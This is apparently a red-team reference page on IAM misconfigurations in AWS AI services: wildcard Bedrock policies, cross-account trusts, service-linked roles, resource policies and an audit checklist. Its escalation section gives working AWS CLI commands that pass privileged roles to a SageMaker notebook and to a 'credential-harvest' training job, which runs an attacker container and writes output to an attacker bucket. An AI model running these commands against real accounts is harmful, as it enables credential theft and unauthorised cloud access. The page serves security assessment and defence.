AWS IAM for AI Services

IAM exploitation patterns for AWS AI services: overprivileged roles, cross-account model access, service-linked roles, resource policies for Bedrock and SageMaker, and privilege escalation through AI-specific IAM actions.

AWS IAM for AI Services

IAM is the control plane for all AWS AI services. Every Bedrock invocation, SageMaker endpoint call, and Comprehend analysis is authorized through IAM policies. For red teamers, IAM misconfigurations in AI services are the most reliable entry point because they follow predictable patterns: organizations copy broad policies from documentation, fail to scope resource ARNs, and grant wildcard permissions to "get things working." AI services compound this problem because their IAM action space is large, poorly understood, and constantly expanding as AWS adds features.

Overprivileged Role Patterns

The Wildcard Problem

The most common AI IAM misconfiguration is wildcard actions and resources:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "bedrock:*",
      "Resource": "*"
    }
  ]
}

This single statement grants 40+ Bedrock actions including model invocation, custom model creation, agent management, guardrail modification, and knowledge base administration. Organizations apply this policy because scoping Bedrock permissions requires understanding the full action space.

High-Risk AI IAM Actions

Privilege Escalation Paths

1. 1

   Notebook-based escalation

   With sagemaker:CreateNotebookInstance and iam:PassRole, create a notebook instance with a highly privileged role. Access the notebook to assume that role's permissions.

   # Create notebook with a privileged role
   aws sagemaker create-notebook-instance \
     --notebook-instance-name attacker-notebook \
     --instance-type ml.t3.medium \
     --role-arn arn:aws:iam::123456789012:role/SageMakerFullAccess \
     --direct-internet-access Enabled
    
   # Wait for notebook to be InService, then access via presigned URL
   aws sagemaker create-presigned-notebook-instance-url \
     --notebook-instance-name attacker-notebook

2. 2

   Training job escalation

   With sagemaker:CreateTrainingJob and iam:PassRole, launch a training job with a privileged role. The training container runs as the specified role and can access any resources that role permits.

   # Create a training job with a custom container that exfiltrates credentials
   aws sagemaker create-training-job \
     --training-job-name credential-harvest \
     --role-arn arn:aws:iam::123456789012:role/SageMakerExecRole \
     --algorithm-specification \
       TrainingImage=<attacker-ecr-image>,TrainingInputMode=File \
     --resource-config InstanceType=ml.m5.large,InstanceCount=1,VolumeSizeInGB=10 \
     --output-data-config S3OutputPath=s3://attacker-bucket/output \
     --stopping-condition MaxRuntimeInSeconds=300

3. 3

   Agent-based escalation

   With bedrock-agent:CreateAgent and appropriate Lambda/API permissions, create an agent with access to tools that exceed the attacker's current permissions. The agent's tool execution happens through Lambda functions with their own IAM roles.

Cross-Account Model Access

Trust Relationships

Organizations frequently set up cross-account access for AI services, particularly when:

• A central ML platform account hosts models consumed by multiple application accounts
• Data science teams in separate accounts need access to shared training data
• A production account deploys models trained in a development account

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::987654321098:root"
      },
      "Action": "sts:AssumeRole",
      "Resource": "arn:aws:iam::123456789012:role/CrossAccountBedrockAccess"
    }
  ]
}

Cross-Account Attack Scenarios

Detecting Cross-Account Access

# Check for cross-account roles related to AI
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument | to_string(@), `987654321098`)].RoleName'
 
# Check S3 bucket policies for cross-account access to model artifacts
aws s3api get-bucket-policy --bucket ml-model-artifacts
 
# Check for Bedrock model sharing (custom models shared across accounts)
aws bedrock list-custom-models

Service-Linked Roles

What They Are

AWS creates service-linked roles (SLRs) automatically for certain AI services. These roles have AWS-defined permissions that cannot be modified by the customer. Key AI service-linked roles:

SLR Abuse

Service-linked roles cannot be directly assumed by users, but their permissions create indirect attack surfaces:

• Permission inheritance: Resources created by SLRs inherit the SLR's broad permissions. A SageMaker notebook managed by the SLR has access to the SLR's EC2 and S3 permissions.
• Implicit trust: SLRs are often excluded from IAM audits because they are "AWS-managed," but their permissions scope may exceed what the organization intends.
• Deletion protection: SLRs cannot be deleted while the service is in use, providing a permanent permission baseline.

Resource Policies

SageMaker Endpoint Policies

SageMaker endpoints support resource-based policies that control which principals can invoke them. Missing or overpermissive endpoint policies are common:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "sagemaker:InvokeEndpoint",
      "Resource": "arn:aws:sagemaker:us-east-1:123456789012:endpoint/production-model"
    }
  ]
}

This policy allows any AWS principal (including principals in other accounts) to invoke the endpoint.

S3 Bucket Policies for AI Data

Model artifacts and training data stored in S3 are protected by bucket policies. Common misconfigurations:

• Public access: Buckets containing model artifacts with public read access
• Overpermissive prefix policies: Policies that grant access to the entire bucket when only specific prefixes (e.g., /models/) should be accessible
• Missing encryption requirements: No condition requiring s3:x-amz-server-side-encryption for uploads

VPC Endpoint Policies

VPC endpoints for SageMaker APIs should restrict which principals and actions are allowed:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "sagemaker:InvokeEndpoint"
      ],
      "Resource": "arn:aws:sagemaker:us-east-1:123456789012:endpoint/*"
    }
  ]
}

IAM Assessment Methodology

Enumeration Checklist

1. Identify AI-related roles: Search for roles with bedrock, sagemaker, comprehend, rekognition in their names or policies
2. Analyze attached policies: Check for wildcard actions (bedrock:*, sagemaker:*) and wildcard resources
3. Check PassRole scope: Determine if PassRole is scoped to specific roles or allows passing any role
4. Map cross-account trusts: Identify roles that can be assumed from other accounts
5. Review resource policies: Check S3 bucket policies, endpoint policies, and VPC endpoint policies
6. Audit service-linked roles: Understand what permissions SLRs provide implicitly
7. Check condition keys: Look for missing conditions like aws:SourceVpc, aws:PrincipalOrgID, or IP restrictions

Related Topics

• AWS AI Services Overview -- Service landscape and enumeration
• Bedrock Attack Surface -- IAM misconfigurations in Bedrock context
• SageMaker Exploitation -- IAM-dependent SageMaker attacks
• GCP IAM for AI -- Comparison with GCP IAM patterns

References

• AWS IAM Actions for Bedrock -- Complete Bedrock IAM action reference
• AWS IAM Actions for SageMaker -- Complete SageMaker IAM action reference
• SageMaker IAM Roles -- Execution role documentation